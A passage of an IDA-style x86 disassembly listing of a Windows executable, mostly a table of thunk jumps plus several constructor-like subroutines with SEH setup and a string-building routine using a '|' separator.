sub_401FCD endp
; ---------------------------------------------------------------------------
jmp loc_432690
; ---------------------------------------------------------------------------
loc_401FD7: ; DATA XREF: ___:off_43E094o
jmp loc_435280
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FDC proc near
jmp sub_40F0B0
sub_401FDC endp
; ---------------------------------------------------------------------------
jmp loc_436300
; ---------------------------------------------------------------------------
loc_401FE6: ; DATA XREF: ___:0043E03Co
jmp loc_41EDB0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FEB proc near ; CODE XREF: sub_41F860+5Ap
jmp sub_41FF40
sub_401FEB endp
; ---------------------------------------------------------------------------
jmp loc_430380
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FF5 proc near ; CODE XREF: ___:00416A2Bp
; ___:00439F88j ...
jmp sub_417B00
sub_401FF5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401FFA proc near ; CODE XREF: ___:00416D7Fp
jmp sub_413120
sub_401FFA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FFF proc near ; CODE XREF: sub_421A80+5p
jmp sub_421F80
sub_401FFF endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402004 proc near ; CODE XREF: ___:00421654p
jmp sub_41BFA0
sub_402004 endp
; ---------------------------------------------------------------------------
off_402009 dd offset byte_4BC2E9 ; DATA XREF: ___:off_43E008o
align 2
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40200E proc near ; CODE XREF: sub_404640+2CEp
; sub_404C70+472p ...
jmp sub_40A670
sub_40200E endp
; ---------------------------------------------------------------------------
jmp loc_433120
; ---------------------------------------------------------------------------
jmp sub_41B3D0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40201D proc near ; CODE XREF: sub_422370+Ap
jmp sub_422650
sub_40201D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402022 proc near ; CODE XREF: sub_404C70+7EAp
jmp sub_41B950
sub_402022 endp
; ---------------------------------------------------------------------------
loc_402027: ; DATA XREF: ___:off_43E014o
jmp loc_40ADE0
; ---------------------------------------------------------------------------
loc_40202C: ; DATA XREF: ___:off_43E088o
jmp loc_42BE60
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402031 proc near ; CODE XREF: ___:0040ADE3p
; ___:0040FEDEp ...
jmp sub_40AE10
sub_402031 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402036 proc near ; CODE XREF: sub_424840+109p
; sub_424840+178p ...
jmp sub_424720
sub_402036 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40203B proc near ; CODE XREF: sub_4098E0+7p
jmp sub_4099D0
sub_40203B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402040 proc near ; CODE XREF: sub_416660+Ap
jmp sub_416870
sub_402040 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_402045 proc near
jmp sub_40CB10
sub_402045 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40204A proc near ; CODE XREF: ___:0042EEEBp
; sub_42FDD0+EAp
jmp sub_433030
sub_40204A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40204F proc near ; CODE XREF: sub_421960+5p
; sub_421A50+6p ...
jmp sub_421EF0
sub_40204F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402054 proc near ; CODE XREF: sub_40FF60+8ADp
; sub_40FF60+95Ep ...
jmp sub_411990
sub_402054 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_402059 proc near ; CODE XREF: sub_40C040+7p
jmp sub_40C230
sub_402059 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40205E proc near ; CODE XREF: sub_418940+34p
; sub_418E90+67p
jmp sub_418CA0
sub_40205E endp
; ---------------------------------------------------------------------------
jmp loc_409B10
; ---------------------------------------------------------------------------
loc_402068: ; DATA XREF: ___:off_43E13Co
jmp loc_427FC0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40206D proc near ; CODE XREF: sub_417020+2Bp
; sub_417020+3Bp ...
jmp sub_403EE0
sub_40206D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402072 proc near ; CODE XREF: sub_4097D0+14p
jmp sub_409830
sub_402072 endp
; ---------------------------------------------------------------------------
jmp loc_431FD0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40207C proc near ; CODE XREF: sub_427AD0:loc_427CDBp
jmp sub_4279F0
sub_40207C endp
; ---------------------------------------------------------------------------
jmp sub_426650
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402086 proc near ; CODE XREF: sub_418330+4Dp
jmp sub_418A70
sub_402086 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40208B proc near ; CODE XREF: sub_415160+5p
; sub_415310+6p ...
jmp sub_415CE0
sub_40208B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402090 proc near ; CODE XREF: sub_426650+3p
jmp sub_426680
sub_402090 endp
; ---------------------------------------------------------------------------
jmp loc_41B0F0
; ---------------------------------------------------------------------------
jmp loc_421620
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40209F proc near ; CODE XREF: ___:00416D4Fp
jmp sub_407030
sub_40209F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020A4 proc near ; CODE XREF: sub_413670+83p
; sub_4144D0+91p ...
jmp sub_415310
sub_4020A4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020A9 proc near ; DATA XREF: ___:0043E054o
jmp sub_41EF30
sub_4020A9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020AE proc near ; CODE XREF: sub_40A9F0+144p
jmp sub_40AD00
sub_4020AE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020B3 proc near ; CODE XREF: sub_42FF50+BAp
; sub_432980+36p
jmp sub_4329F0
sub_4020B3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020B8 proc near ; CODE XREF: sub_421DF0+23p
; sub_422240+11p
jmp sub_4223E0
sub_4020B8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4020BD proc near ; CODE XREF: sub_4220E0+4p
jmp sub_4224F0
sub_4020BD endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020C2 proc near ; CODE XREF: sub_42A810+3BBp
jmp sub_42A440
sub_4020C2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020C7 proc near ; CODE XREF: ___:0041A212p
jmp sub_41A2B0
sub_4020C7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020CC proc near ; CODE XREF: sub_416760+Ap
jmp sub_4168C0
sub_4020CC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020D1 proc near ; DATA XREF: ___:off_43E18Co
jmp sub_42B2D0
sub_4020D1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4020D6 proc near ; CODE XREF: sub_415C70+4p
jmp sub_416490
sub_4020D6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4020DB proc near ; CODE XREF: ___:0042F4B6p
; ___:0042F518p ...
jmp sub_4337E0
sub_4020DB endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020E0 proc near ; CODE XREF: sub_418D20+8p
jmp sub_418FC0
sub_4020E0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4020E5 proc near ; CODE XREF: sub_418890+34p
; sub_418D80+67p
jmp sub_418BA0
sub_4020E5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020EA proc near ; CODE XREF: sub_41A6D0+117p
jmp sub_41A860
sub_4020EA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020EF proc near ; CODE XREF: sub_415AA0+35p
jmp sub_416570
sub_4020EF endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020F4 proc near ; CODE XREF: sub_404C70+45Cp
; sub_4066E0+43p ...
jmp sub_409BC0
sub_4020F4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020F9 proc near ; CODE XREF: sub_40BD20+5p
; sub_40BE60+6p ...
jmp sub_40C060
sub_4020F9 endp
; ---------------------------------------------------------------------------
jmp loc_42F5B0
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_402103 proc near ; CODE XREF: ___:00416E7Ap
jmp sub_4190B0
sub_402103 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402108 proc near ; CODE XREF: ___:00429A33p
jmp sub_429A60
sub_402108 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40210D proc near ; CODE XREF: sub_40FF60+F3Dp
; sub_40FF60+1392p ...
jmp sub_4147D0
sub_40210D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402112 proc near ; CODE XREF: sub_4139B0+38p
; sub_413DA0+5Fp
jmp sub_413510
sub_402112 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402117 proc near ; CODE XREF: sub_40A130+14p
; sub_40A160+7p ...
jmp sub_40A180
sub_402117 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40211C proc near ; CODE XREF: sub_42A150+157p
jmp sub_429D00
sub_40211C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402121 proc near ; CODE XREF: sub_40ABE0+1Ap
; sub_40AC30+1Ap
jmp sub_40ACA0
sub_402121 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402126 proc near ; CODE XREF: sub_415600+3p
; ___:00415E1Fp ...
jmp sub_416050
sub_402126 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40212B proc near ; DATA XREF: ___:0043E02Co
jmp sub_40FF60
sub_40212B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402130 proc near ; CODE XREF: sub_4147D0+EDp
jmp sub_415830
sub_402130 endp
; ---------------------------------------------------------------------------
jmp loc_41B390
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40213A proc near ; CODE XREF: sub_40BE20+3p
jmp sub_40C0A0
sub_40213A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40213F proc near ; CODE XREF: sub_40BEC0+11p
; ___:0040BEE7p ...
jmp sub_40C1E0
sub_40213F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402144 proc near ; CODE XREF: sub_41E660+2C5p
jmp sub_4207E0
sub_402144 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402149 proc near ; CODE XREF: sub_41D830+652p
jmp sub_41C070
sub_402149 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40214E proc near ; CODE XREF: sub_418BC0+32p
jmp sub_418E90
sub_40214E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402153 proc near ; CODE XREF: sub_40EC30+ACp
; ___:0040F35Dp
jmp sub_40ED70
sub_402153 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402158 proc near ; CODE XREF: sub_4137E0+93p
jmp sub_433A20
sub_402158 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40215D proc near ; CODE XREF: sub_4151D0+1Fp
; sub_415AA0+2Cp
jmp sub_415A00
sub_40215D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402162 proc near ; CODE XREF: ___:0042541Dp
jmp sub_4253E0
sub_402162 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_402167 proc near ; CODE XREF: sub_420530+17Dp
jmp sub_4219D0
sub_402167 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40216C proc near ; CODE XREF: ___:0042C261p
jmp sub_42A090
sub_40216C endp
; ---------------------------------------------------------------------------
loc_402171: ; DATA XREF: ___:off_43E010o
jmp loc_409B10
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402176 proc near ; CODE XREF: sub_40A9F0+6Ap
; sub_40A9F0+103p
jmp sub_40AC30
sub_402176 endp
; ---------------------------------------------------------------------------
jmp loc_426620
; ---------------------------------------------------------------------------
jmp loc_41AC00
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402185 proc near ; CODE XREF: sub_407220+16p
; sub_407260+Bp ...
jmp sub_4074C0
sub_402185 endp
; ---------------------------------------------------------------------------
jmp loc_416CE0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40218F proc near ; CODE XREF: sub_40B000+1Bp
jmp sub_432AD0
sub_40218F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402194 proc near ; CODE XREF: ___:00415A5Ap
jmp sub_4164E0
sub_402194 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402199 proc near ; CODE XREF: sub_42F6B0+ABp
; sub_430690+1Bp ...
jmp sub_430700
sub_402199 endp
; ---------------------------------------------------------------------------
jmp loc_42EA90
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4021A3 proc near ; CODE XREF: ___:004086AAp
; ___:004086CFp ...
jmp sub_4198C0
sub_4021A3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4021A8 proc near ; DATA XREF: ___:0043E130o
; ___:0043E140o ...
jmp sub_42C710
sub_4021A8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4021AD proc near ; CODE XREF: sub_40B520+55p
jmp sub_409FD0
sub_4021AD endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4021B2 proc near ; DATA XREF: ___:off_43E14Co
jmp sub_428220
sub_4021B2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4021B7 proc near ; CODE XREF: sub_421AF0+34p
; sub_422410+67p
jmp sub_422130
sub_4021B7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4021BC proc near ; CODE XREF: sub_4070F0+2Cp
; sub_4070F0+68p ...
jmp sub_407260
sub_4021BC endp
; ---------------------------------------------------------------------------
jmp loc_4333F0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4021C6 proc near ; CODE XREF: sub_41C610+1B3p
; sub_41C610+332p ...
jmp sub_41D670
sub_4021C6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4021CB proc near ; CODE XREF: sub_40BC70+11p
; sub_40BEC0+1Fp
jmp sub_40BFF0
sub_4021CB endp
; ---------------------------------------------------------------------------
jmp loc_42F5F0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4021D5 proc near ; CODE XREF: sub_4245F0+1Ap
; sub_4246D0+1Bp ...
jmp sub_424420
sub_4021D5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4021DA proc near ; CODE XREF: ___:004169BBp
jmp sub_418940
sub_4021DA endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4021DF proc near
jmp sub_42BB70
sub_4021DF endp
; ---------------------------------------------------------------------------
jmp loc_42EC80
; ---------------------------------------------------------------------------
jmp loc_42EE10
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4021EE proc near ; CODE XREF: sub_433160+1Bp
jmp sub_4331D0
sub_4021EE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4021F3 proc near ; CODE XREF: sub_42E400+101p
jmp sub_42DD50
sub_4021F3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4021F8 proc near ; DATA XREF: ___:off_43E00Co
jmp sub_4071C0
sub_4021F8 endp
; ---------------------------------------------------------------------------
jmp loc_42E2D0
; ---------------------------------------------------------------------------
jmp locret_418840
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402207 proc near ; CODE XREF: sub_4036D0+25p
; sub_4036D0+35p ...
jmp sub_403C90
sub_402207 endp
; ---------------------------------------------------------------------------
jmp loc_433100
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402211 proc near ; CODE XREF: sub_418330+88p
; sub_418330+98p
jmp sub_418A90
sub_402211 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402216 proc near ; CODE XREF: ___:00416ABBp
; ___:00439F0Aj ...
jmp sub_417770
sub_402216 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40221B proc near ; CODE XREF: sub_418AE0+5p
jmp sub_418D50
sub_40221B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402220 proc near ; CODE XREF: sub_414640+3p
jmp sub_414670
sub_402220 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402225 proc near ; CODE XREF: ___:0042F2FBp
; ___:0042FC27p ...
jmp sub_430AD0
sub_402225 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40222A proc near ; DATA XREF: ___:off_43E11Co
jmp sub_427600
sub_40222A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40222F proc near ; CODE XREF: sub_42F840+102p
; sub_431730+5Dp ...
jmp sub_430810
sub_40222F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402234 proc near ; CODE XREF: sub_413510+5Cp
; sub_413510+C0p ...
jmp sub_415460
sub_402234 endp
; ---------------------------------------------------------------------------
jmp loc_431410
; ---------------------------------------------------------------------------
jmp loc_42F170
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402243 proc near ; CODE XREF: sub_41D830+203p
jmp sub_42D0D0
sub_402243 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402248 proc near ; CODE XREF: sub_42E400+148p
; sub_42E400+173p
jmp sub_42DC70
sub_402248 endp
; ---------------------------------------------------------------------------
jmp loc_42E1A0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402252 proc near ; CODE XREF: sub_4133D0+34p
; sub_4147D0+40p
jmp sub_4158F0
sub_402252 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402257 proc near ; CODE XREF: sub_40CBB0+1A4p
; sub_40CF60+ADp
jmp sub_40CF60
sub_402257 endp
; ---------------------------------------------------------------------------
jmp loc_42E220
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402261 proc near ; CODE XREF: sub_422A40+938p
jmp loc_423FA0
sub_402261 endp
; ---------------------------------------------------------------------------
jmp loc_419A90
; ---------------------------------------------------------------------------
loc_40226B: ; CODE XREF: ___:00438CE6j
jmp loc_40CEE0
; ---------------------------------------------------------------------------
db 1270h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4034E0 proc near ; CODE XREF: sub_4019B5j
var_46C = dword ptr -46Ch
var_468 = byte ptr -468h
var_450 = byte ptr -450h
var_438 = byte ptr -438h
var_420 = byte ptr -420h
var_408 = dword ptr -408h
var_404 = byte ptr -404h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 0FFFFFFFFh
push offset SEH_4034E0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 460h
mov eax, [esp+46Ch+arg_4]
push ebp
push esi
push edi
mov [esp+478h+var_408], eax
mov eax, [esp+478h+arg_8]
xor edi, edi
mov esi, 1
cmp eax, edi
mov [esp+478h+var_46C], edi
jz short loc_403539
lea edx, [esp+478h+arg_8]
lea ecx, [esp+478h+var_404]
loc_40352A: ; CODE XREF: sub_4034E0+57j
add edx, 4
mov [ecx], eax
inc esi
add ecx, 4
mov eax, [edx]
cmp eax, edi
jnz short loc_40352A
loc_403539: ; CODE XREF: sub_4034E0+3Dj
lea ecx, [esp+478h+var_468]
mov [esp+esi*4+478h+var_408], edi
call sub_401424
push offset asc_4435EC ; "|"
lea ecx, [esp+47Ch+var_438]
mov [esp+47Ch+var_4], 1
call sub_401861
push offset aABCDEFGHIJKLMN ; "a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t"...
lea ecx, [esp+47Ch+var_468]
mov byte ptr [esp+47Ch+var_4], 2
call sub_401A87
push offset byte_446F70
lea ecx, [esp+47Ch+var_450]
call sub_401861
mov byte ptr [esp+478h+var_4], 3
xor esi, esi
lea edi, [esp+478h+var_408]
loc_403591: ; CODE XREF: sub_4034E0+105j
mov ebp, [edi]
test ebp, ebp
jz short loc_4035E7
lea ecx, [esp+478h+var_438]
call sub_401681
dec ebp
push eax
lea ecx, [esp+47Ch+var_420]
push ebp
push ecx
lea ecx, [esp+484h+var_468]
call sub_4016AE
mov ecx, eax
mov byte ptr [esp+478h+var_4], 4
call sub_4017E4
push eax
lea ecx, [esp+47Ch+var_450]
call sub_401A9B
lea ecx, [esp+478h+var_420]
mov byte ptr [esp+478h+var_4], 3
call sub_401226
inc esi
add edi, 4
cmp esi, 0FFh
jb short loc_403591
loc_4035E7: ; CODE XREF: sub_4034E0+B5j
mov esi, [esp+478h+arg_0]
lea edx, [esp+478h+var_450]
push edx
mov ecx, esi
call sub_4014C9
mov [esp+478h+var_46C], 1
lea ecx, [esp+478h+var_450]
mov byte ptr [esp+478h+var_4], 2
call sub_401226
lea ecx, [esp+478h+var_438]
mov byte ptr [esp+478h+var_4], 1
call sub_401226
lea ecx, [esp+478h+var_468]
mov byte ptr [esp+478h+var_4], 0
call sub_401226
mov ecx, [esp+478h+var_C]
mov eax, esi
pop edi
pop esi
pop ebp
mov large fs:0, ecx
add esp, 46Ch
retn
sub_4034E0 endp
; ---------------------------------------------------------------------------
db 90h
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4036B0 proc near ; CODE XREF: sub_401681j
mov eax, [ecx+9]
retn
sub_4036B0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4036D0 proc near ; CODE XREF: sub_40129Ej
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4036D0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+9]
call sub_402207
lea ecx, [esi+52h]
mov [esp+14h+var_4], 0
call sub_402207
lea ecx, [esi+9Bh]
mov byte ptr [esp+14h+var_4], 1
call sub_402207
lea ecx, [esi+0E4h]
mov byte ptr [esp+14h+var_4], 2
call sub_402207
lea ecx, [esi+12Dh]
mov byte ptr [esp+14h+var_4], 3
call sub_402207
lea ecx, [esi+176h]
mov byte ptr [esp+14h+var_4], 4
call sub_402207
lea ecx, [esi+1BFh]
mov byte ptr [esp+14h+var_4], 5
call sub_402207
lea ecx, [esi+208h]
mov byte ptr [esp+14h+var_4], 6
call sub_402207
lea ecx, [esi+251h]
mov byte ptr [esp+14h+var_4], 7
call sub_402207
lea ecx, [esi+29Ah]
mov byte ptr [esp+14h+var_4], 8
call sub_402207
lea ecx, [esi+2E3h]
mov byte ptr [esp+14h+var_4], 9
call sub_402207
lea ecx, [esi+32Ch]
mov byte ptr [esp+14h+var_4], 0Ah
call sub_402207
lea ecx, [esi+375h]
mov byte ptr [esp+14h+var_4], 0Bh
call sub_402207
lea ecx, [esi+3BEh]
mov byte ptr [esp+14h+var_4], 0Ch
call sub_402207
lea ecx, [esi+407h]
mov byte ptr [esp+14h+var_4], 0Dh
call sub_402207
lea ecx, [esi+450h]
mov byte ptr [esp+14h+var_4], 0Eh
call sub_402207
lea ecx, [esi+499h]
mov byte ptr [esp+14h+var_4], 0Fh
call sub_402207
lea ecx, [esi+4E2h]
mov byte ptr [esp+14h+var_4], 10h
call sub_402207
lea ecx, [esi+52Bh]
mov byte ptr [esp+14h+var_4], 11h
call sub_402207
mov byte ptr [esp+14h+var_4], 12h
lea ecx, [esi+574h]
call sub_402207
lea ecx, [esi+5BDh]
mov byte ptr [esp+14h+var_4], 13h
call sub_402207
lea ecx, [esi+606h]
mov byte ptr [esp+14h+var_4], 14h
call sub_402207
lea ecx, [esi+64Fh]
mov byte ptr [esp+14h+var_4], 15h
call sub_402207
lea ecx, [esi+698h]
mov byte ptr [esp+14h+var_4], 16h
call sub_402207
lea ecx, [esi+6E1h]
mov byte ptr [esp+14h+var_4], 17h
call sub_402207
lea ecx, [esi+72Ah]
mov byte ptr [esp+14h+var_4], 18h
call sub_402207
lea ecx, [esi+773h]
mov byte ptr [esp+14h+var_4], 19h
call sub_402207
lea ecx, [esi+7BCh]
mov byte ptr [esp+14h+var_4], 1Ah
call sub_402207
lea ecx, [esi+805h]
mov byte ptr [esp+14h+var_4], 1Bh
call sub_402207
lea ecx, [esi+84Eh]
mov byte ptr [esp+14h+var_4], 1Ch
call sub_402207
lea ecx, [esi+897h]
mov byte ptr [esp+14h+var_4], 1Dh
call sub_402207
lea ecx, [esi+8E0h]
mov byte ptr [esp+14h+var_4], 1Eh
call sub_402207
lea ecx, [esi+929h]
mov byte ptr [esp+14h+var_4], 1Fh
call sub_402207
lea ecx, [esi+972h]
mov byte ptr [esp+14h+var_4], 20h
call sub_402207
lea ecx, [esi+9BBh]
mov byte ptr [esp+14h+var_4], 21h
call sub_402207
lea ecx, [esi+0A04h]
mov byte ptr [esp+14h+var_4], 22h
call sub_402207
lea ecx, [esi+0A4Dh]
mov byte ptr [esp+14h+var_4], 23h
call sub_402207
lea ecx, [esi+0A96h]
mov byte ptr [esp+14h+var_4], 24h
call sub_402207
lea ecx, [esi+0ADFh]
mov byte ptr [esp+14h+var_4], 25h
call sub_402207
lea ecx, [esi+0B28h]
mov byte ptr [esp+14h+var_4], 26h
call sub_402207
lea ecx, [esi+0B71h]
mov byte ptr [esp+14h+var_4], 27h
call sub_401749
lea ecx, [esi+0B9Fh]
mov byte ptr [esp+14h+var_4], 28h
call sub_401749
lea ecx, [esi+0BCDh]
mov byte ptr [esp+14h+var_4], 29h
call sub_401749
lea ecx, [esi+0BFBh]
mov byte ptr [esp+14h+var_4], 2Ah
call sub_401749
lea ecx, [esi+0C29h]
mov byte ptr [esp+14h+var_4], 2Bh
call sub_401749
lea ecx, [esi+0C57h]
mov byte ptr [esp+14h+var_4], 2Ch
call sub_401749
lea ecx, [esi+0C85h]
mov byte ptr [esp+14h+var_4], 2Dh
call sub_401749
lea ecx, [esi+0CB3h]
mov byte ptr [esp+14h+var_4], 2Eh
call sub_401749
lea ecx, [esi+0CE1h]
mov byte ptr [esp+14h+var_4], 2Fh
call sub_401749
lea ecx, [esi+0D0Fh]
mov byte ptr [esp+14h+var_4], 30h
call sub_401749
lea ecx, [esi+0D3Dh]
mov byte ptr [esp+14h+var_4], 31h
call sub_401749
lea ecx, [esi+0D6Bh]
mov byte ptr [esp+14h+var_4], 32h
call sub_401749
lea ecx, [esi+0D99h]
mov byte ptr [esp+14h+var_4], 33h
call sub_401749
lea ecx, [esi+0DC7h]
mov byte ptr [esp+14h+var_4], 34h
call sub_401749
lea ecx, [esi+0DF5h]
mov byte ptr [esp+14h+var_4], 35h
call sub_401749
lea ecx, [esi+0E23h]
mov byte ptr [esp+14h+var_4], 36h
call sub_401749
lea ecx, [esi+0E51h]
mov byte ptr [esp+14h+var_4], 37h
call sub_401749
lea ecx, [esi+0E7Fh]
mov byte ptr [esp+14h+var_4], 38h
call sub_4011A4
lea ecx, [esi+10C7h]
mov byte ptr [esp+14h+var_4], 39h
call sub_4011A4
lea ecx, [esi+130Fh]
mov byte ptr [esp+14h+var_4], 3Ah
call sub_4011A4
lea ecx, [esi+1557h]
mov byte ptr [esp+14h+var_4], 3Bh
call sub_4011A4
lea ecx, [esi+179Fh]
mov byte ptr [esp+14h+var_4], 3Ch
call sub_4011A4
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43E000
mov byte ptr [esi+4], 0
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4036D0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 110h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_403C00 proc near ; CODE XREF: sub_401023j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_403C00
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+15h]
mov [esp+14h+var_4], 0
call sub_401226
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_403C00 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_403C70 proc near ; CODE XREF: sub_4011B3j
mov eax, ecx
mov dword ptr [eax], offset off_43E004
retn
sub_403C70 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_403C90 proc near ; CODE XREF: sub_402207j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_403C90
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401424
lea ecx, [esi+1Eh]
mov [esp+14h+var_4], 0
call sub_401424
lea ecx, [esi+33h]
mov byte ptr [esp+14h+var_4], 1
call sub_401424
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
